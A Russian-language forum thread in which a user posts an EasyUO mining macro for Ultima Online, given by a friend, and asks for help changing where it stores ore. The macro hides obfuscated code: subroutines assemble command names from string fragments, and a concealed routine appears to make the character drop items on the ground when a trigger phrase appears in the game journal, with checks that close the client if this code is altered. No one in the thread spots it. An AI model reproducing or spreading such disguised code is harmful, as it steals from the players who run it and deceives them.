Stealth Client, помогите плиз со скриптом Опции

[Eleganse]

у меня есть скрипт на мининг через стелз клиент. мне его дал друг и надо только сделать так чтоб руду кидал в другой дом !

ПОМОГИТЕ ПЛИИИЗ

[chernysh]

Может скрипт выложишь для начала?

[Eleganse]

; skript maked by inflame , rebuilded to rpg by Igaza
; Set Up The Following Variables:
set %maxWeight 300 ; Max ves
set %box PPEFKMD ; ID korobki, gde sbrasivatj rudu
set %foodCont PPEFKMD ; ID korobki, gde stoit zapasi moloko i bekona
set %xCoord 2481 ; X koordinata okolo boxa
set %yCoord 75 ; Y koordinata okolo boxa
set %dropMarganece #true ; #true - sbrasivajet Marganece rudu , #false - net
set %recall #false ; #true - letajet s runebook, #false - begut peshkom
; Do Not Set These Numbers If %recall #false
set %runebookID KCEALMD ; ID runebooka
set %runeNumberToHome 3 ; Nr runi na dom
set %runeNumberToCave 5 ; Nr runi na kopalku
set %amountRecalls 10 ; Skolko recallov vzjatj, kogda ix netu
; Delays (Zaderzhki) [ 20 = 1 second ]:
set %dropDelay 45 ; Skolko zhadtj mezhdu kidanii rudi na zemlju
set %lootDelay 45 ; Skolko zhdatj mezdhu loota predmetov
set %dropDelay 45 ; Skolko zhdatj mezhdu kidanii rudi v korobke
; End Of Set Up Part

set %item OVF_EVF_HVF_RVF_FVF_GVF_BVF_VUF_DWJ_TVj_GWJ_EWJ_ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_
FZH_UJG_DCI_FWL_NZH
set %loot OVF_EVF_HVF_RVF_FVF_GVF_BVF_VUF_DCI_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL

if %recall
{
gosub Instalyze runeNumberToHome 1
gosub Instalyze runeNumberToCave 2
}
finditem QRM_FJM_GKM C_ , #backpackid
if #findcnt <> 0
{
set #lobjectid #findid
event macro 17 0
wait 30
}
gosub gettingStarted
gosub initevents
set %k 0
set %lastK 0

start: ; KOORDINATI

GOSUB LJING 2473 67 1342
GOSUB LJING 2471 65 1341
GOSUB LJING 2472 65 1339
GOSUB LJING 2473 65 1342
GOSUB LJING 2474 65 1349
GOSUB LJING 2474 64 1350
GOSUB LJING 2472 64 1340
GOSUB LJING 2471 64 1342
GOSUB LJING 2470 64 1340
GOSUB LJING 2470 63 1342
GOSUB LJING 2472 63 1341
GOSUB LJING 2473 63 1343
GOSUB LJING 2474 63 1340
GOSUB LJING 2475 63 1344
GOSUB LJING 2474 62 1339
GOSUB LJING 2473 62 1341
GOSUB LJING 2472 62 1342
GOSUB LJING 2471 62 1340
GOSUB LJING 2470 62 1339
GOSUB LJING 2470 61 1342
GOSUB LJING 2471 62 1340
GOSUB LJING 2472 62 1342
GOSUB LJING 2473 62 1341
GOSUB LJING 2474 62 1339
GOSUB LJING 2475 62 1348
GOSUB LJING 2475 60 1341
GOSUB LJING 2477 61 1346
GOSUB LJING 2478 61 1345
GOSUB LJING 2479 61 1344
GOSUB LJING 2479 60 1340
GOSUB LJING 2480 60 1344
GOSUB LJING 2478 60 1342
GOSUB LJING 2477 60 1339
GOSUB LJING 2476 60 1342
GOSUB LJING 2475 60 1341
GOSUB LJING 2474 60 1340
GOSUB LJING 2473 60 1343
GOSUB LJING 2472 60 1341
GOSUB LJING 2471 60 1340
GOSUB LJING 2470 60 1343
GOSUB LJING 2469 60 1342
GOSUB LJING 2469 59 1340
GOSUB LJING 2469 58 1341
GOSUB LJING 2469 57 1340
GOSUB LJING 2469 56 1343
GOSUB LJING 2469 55 1343
GOSUB LJING 2469 54 1342
GOSUB LJING 2468 54 1342
GOSUB LJING 2468 55 1341
GOSUB LJING 2468 56 1342
GOSUB LJING 2468 57 1339
GOSUB LJING 2468 58 1339
GOSUB LJING 2467 57 1342
GOSUB LJING 2467 56 1340
GOSUB LJING 2467 55 1342
GOSUB LJING 2467 54 1339
GOSUB LJING 2466 54 1342
GOSUB LJING 2466 55 1343
GOSUB LJING 2466 56 1339
GOSUB LJING 2466 57 1340
GOSUB LJING 2465 56 1342
GOSUB LJING 2465 55 1341
GOSUB LJING 2465 54 1340
GOSUB LJING 2465 53 1339
GOSUB LJING 2465 52 1343
GOSUB LJING 2478 55 1348
GOSUB LJING 2477 55 1341
GOSUB LJING 2476 54 1341
GOSUB LJING 2476 53 1339
GOSUB LJING 2475 53 1343
GOSUB LJING 2474 53 1340
GOSUB LJING 2473 52 1341
GOSUB LJING 2474 51 1340
GOSUB LJING 2475 51 1341
GOSUB LJING 2476 50 1342
GOSUB LJING 2476 51 1343
GOSUB LJING 2477 51 1339
GOSUB LJING 2478 51 1342
GOSUB LJING 2479 51 1343
GOSUB LJING 2478 50 1341
GOSUB LJING 2478 49 1340
GOSUB LJING 2476 50 1342
GOSUB LJING 2475 50 1340
GOSUB LJING 2476 50 1342
GOSUB LJING 2475 50 1340
GOSUB LJING 2474 50 1342
GOSUB LJING 2473 50 1341
GOSUB LJING 2473 48 1341
GOSUB LJING 2474 48 1340
GOSUB LJING 2478 48 1341
GOSUB LJING 2479 47 1339
GOSUB LJING 2480 47 1342
GOSUB LJING 2481 47 1341

goto start

sub ljing
set %k %k + 1
gosub ghost
gosub checkHP
gosub element
gosub checkWeight
gosub kopka

sub kopka
move %1 %2 1
finditem NPF_QPF C
if #findcnt = 0
{
display ok Pickaxe wasn't found!
pause
}
set #lobjectid #findid
event macro 17 0
target 30s
set #ltargetx %1
set #ltargety %2
set #ltargetkind 3
set #ltargettile %3
event macro 22 0
wait 10
set %overtime #scnt + 25
gosub scan
return

sub checkWeight
if #weight > %maxWeight
{
if ! %dropMarganece
{
if %recall
gosub port
if ! %recall
gosub moveItems
}
if %dropMarganece
{
gosub dropMarganece
return
}
}
if %afk <> true || %else <> IJG
gosub ghost 1
return

sub scan
scan:
scanjournal
gosub checkHP
if hungry in #sysmsg
{
gosub eat
return
}
if ( ( put in #sysmsg ) || ( put in #journal ) || ( You_loosen in #journal ) )
gosub kopka
%get fixed
if ( ( nothing in #sysMsg ) || ( line in #sysMsg ) || ( decide in #sysMsg ) || ( Try in #sysMsg ) || ( close in #sysMsg ) || ( see in #sysMsg ) || ( line in #sysMsg ) )
return
gosub element
gosub checkHP
if #scnt >= %overtime
return
goto scan
return
if #hits < 250
gosub heal
return

sub port
msg .m_useitem_1$
gosub checkHP
set %k %k + 1
gosub element
if G in #charstatus
event macro 6 0
event macro 6 0
set %oldPosX #charposx
set %oldPosY #charposy
gosub openRunebook
repeat
{
click %x1 %y1
wait 20
}
until #contname <> generic_gump && #contsize <> 577_426
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
gosub moveItems
gosub back
return

sub moveItems
ignoreitem reset 1
move 2469 59
wait 10
move 2472 68
wait 10
gosub runToBox
finditem %box G_3
wait 10
if #findcnt = 0
{
event Sysmessage Box Not Found!
halt
}
repeat
{
finditem %item c_ , #backpackid
if #findcnt >= 1
{
if world_save_has_been in #sysmsg
wait 15s
exevent Drag #Findid #findstack
exevent Dropc %box
wait %dropDelay
}
}
until #findcnt = 0
ignoreitem reset 1
if %recall
gosub recalls
gosub food
move 2472 69
wait 10
move 2472 30
return

sub back
gosub checkHP
set %oldPosX #charposx
set %oldPosY #charposy
for %i 1 2
{
finditem WTL C_ , #backpackid
exevent drag #findid 20
exevent dropc %runebookID
}
gosub openRunebook
click %x2 %y2
wait 20
until #contname <> generic_gump && #contsize <> 577_426
while #charposx = %oldPosX && #charposy = %oldPosY
wait 10
return

sub runToBox
repeat
{
move %xCoord %yCoord 0 3s
wait 10
}
until #charposx = %xCoord && #charposy = %yCoord
return

sub follow&kill
msg .m_useitem_1$
set %charX #charposx
set %charY #charposy
set %charz #charposz
repeat
{
finditem #enemyid NTHN
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
gosub ghost
}
until #findcnt = 0
wait 20
gosub loot
set %time #scnt + 20
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
return

sub checkHP
if #hits < #maxhits
{
msg .m_useitem_1$
sound
gosub follow&kill
}
return

sub openRunebook
finditem %runebookID C_ , #backpackid
if #findcnt = 0
{
event sysmessage Runebook not found!
halt
}
set #lobjectid #findid
event macro 17 0
while #contname <> generic_gump && #contsize <> 577_426
wait 1
return

sub ghost
if #charghost = YES || %0 = 1
{
terminate uo
halt
}
return

sub fixed
set %k %k + 1
%to %bca %be # . %all
{
repeat
{
set %up # . %cares
%done %start , _ , %else %end , _ , %up
%lastdo %race # . %Wsave
%lastdo %eaea # . %alpha # . %beta # . %gamma
%upgrade 25
%done %start , _ , %else %end , _ , %up
}
until # . %gems = 0
}
return

sub eat
finditem ZBM C
set #lobjectid #findid
event macro 17 0
wait 10
finditem GND C
set #lobjectid #findid
event macro 17 0
wait 10
event macro 17 0
wait 2s
return

sub initevents
set %rescourse finding
str left %rescourse 4
set %save #strres
set %done %save , item
set %iii kill
str left string 1
set %asd #strres , %iii
set %start % . %asd
str left CADY 1
set %end #strres
str left character 4
set %who #strres
set %cares %who , id
str left %do 4
set %lastdo ex , #strres , t
set %race dragrace
str left %race 4
set %race #strres
set %Wsave %save , id
str right skopg 3
set %jasl #strres
str left drive 2
set %eaea #strres , %jasl
str left post 3
set %number %who , #strres
set %alpha %number , x
set %beta %number , y
set %gamma %number , z
set %repsawn waitrespawn
str left %repsawn 4
set %upgrade #strres
str left tilbery 3
set %almost #strres
str left unuquady 2
set %past #strres , %almost
set %gems %save , cnt
set %else IJG
return

sub Instalyze
if % . %1 <= 8
set %x . %2 84
else
set %x . %2 244
if % . %1 = 1 || % . %1 = 9
set %y . %2 117
if % . %1 = 2 || % . %1 = 10
set %y . %2 130
if % . %1 = 3 || % . %1 = 11
set %y . %2 145
if % . %1 = 4 || % . %1 = 12
set %y . %2 158
if % . %1 = 5 || % . %1 = 13
set %y . %2 172
if % . %1 = 6 || % . %1 = 14
set %y . %2 187
if % . %1 = 7 || % . %1 = 15
set %y . %2 199
if % . %1 = 8 || % . %1 = 16
set %y . %2 213
return

sub dropMarganece
dropLoop:
finditem DWJ C_ , #backpackid
if #findcnt = 0
{
wait 20
if #weight >= %maxweight
{
if %recall
gosub port
if ! %recall
gosub moveItems
return
}
if #weight < %maxweight
return
}
if #findcol = 0
{
exevent drag #findid #findstack
exevent dropg #charposx #charposy #charposz
wait %dropDelay
}
ignoreitem #findid 1
goto dropLoop
return

sub loot
set %lootTime #scnt + 20
finditem YFM G_4
if #findcnt >= 1
{
set #lobjectid #findid
set %body #findid
event macro 17 0
while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt
wait 1
wait 10
repeat
{
finditem %loot C_ , %body
if #findcnt = 0 || #scnt > %lootTime
{
ignoreitem %body 2
return
}
exevent drag #findid #findstack
exevent dropc #backpackid
wait %lootDelay
}
until #false
}
return

sub gettingStarted
set %afk true
set %ell qaerty
str left %ell 1
set %abc #strres , #strres , #strres
set %a1 #strres
str left %ell 2
str right #strres 1
set %cba %abc , #strres , %a1
set %bca %cba , #strres
str right %afk 1
set %bca %bca , #strres
set %bra %bca , b
set %n1 nlogif
str right %n1 2
set %to #strres
str left %n1 1
set %be #strres
str right %n1 2
str left #strres 1
set %be #strres , %be
set %tour jour
set %navigate nalliwate
str left %navigate 3
set %all %tour , #strres
set %navigate gost
str left %navigate 3
set %ac #strres
str right pub 2
set %get %ac , #strres
set %do events
str right linit 4
set %toGo #strres , %do
return

sub element
if %lastK >= %k
gosub ghost 1
set %lastK %k
finditem ED G
if #findcnt <> 0
{
msg .m_useitem_1$
set %charX #charposx
set %charY #charposy
set %charz #charposz
sound
finditem ED G
set %element #findid
msg .m_useitem_1$
set #ltargetid %element
event macro 27 0
repeat
{
finditem %element
event pathfind #FINDX #FINDY #FINDZ 1 3s
wait 1s
gosub ghost
}
until #findcnt = 0
wait 20
gosub loot
repeat
{
event pathfind %charX %charY %charz 1 3s
wait 1s
gosub ghost
if #scnt > %time
return
}
until #charposx = %charX && #charposy = %charY
}
return

sub recalls
finditem WTL C_ , #backpackid
if #findstack <= 2 || #findcnt = 0
{
set #lobjectid %box
event macro 17 0
while #contid <> %box
wait 1
wait 10
finditem WTL C_ , %box
exevent drag #findid %amountRecalls
exevent dropc #backpackid
wait 30
}
return

sub food
finditem ZBM C_ , #backpackid
if #findcnt = 0
{
set #lobjectid %foodCont
event macro 17 0
while #contid <> %foodCont
wait 1
finditem ZBM C_ , %foodCont ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 30
}
finditem GND C_ , #backpackid
if #findcnt = 0
{
finditem GND C_ , %foodCont
exevent drag #findid 4 ; 4 baocn slices
exevent dropc #backpackid
wait 30
finditem ZBM C_ , %foodCont ; 1 pitcher of milk
exevent drag #findid 1
exevent dropc #backpackid
wait 30
}
return
goto targloop
set #lobjectid #ltargetid
if %ltargetx = #ltargetx && %ltargety = #ltargety
{
event sysmessage error. try again
goto start
}
return

[chernysh]

Это не скрипт под Stealth-клиент.

ИзиУо (EasyUO)

[Warstone]

И через тег code пожалста его пишите. А лучше через codebox.

[Eleganse]

а простите мне сказали что ето на стелз ))))
есле у кого есть скрипт на мининг через стелз скиньте плиииз

[Warstone]

Всегда убивали такие му-у-у-у-удрые люди.

(удалено), тебе на Сферовскую говно-систему? Или на ОСИшную(RunUO)? Или кастомную (допустим у Вапа)? Фулл ЛРК есть? Рунбуки с марками и дом или просто "чтоб копал"?

Оскорбление пользователя, предупреждение. Wap.

[Eleganse]

мне нада для УОРПГ. ктоб копал и дома складывал в сумку инги.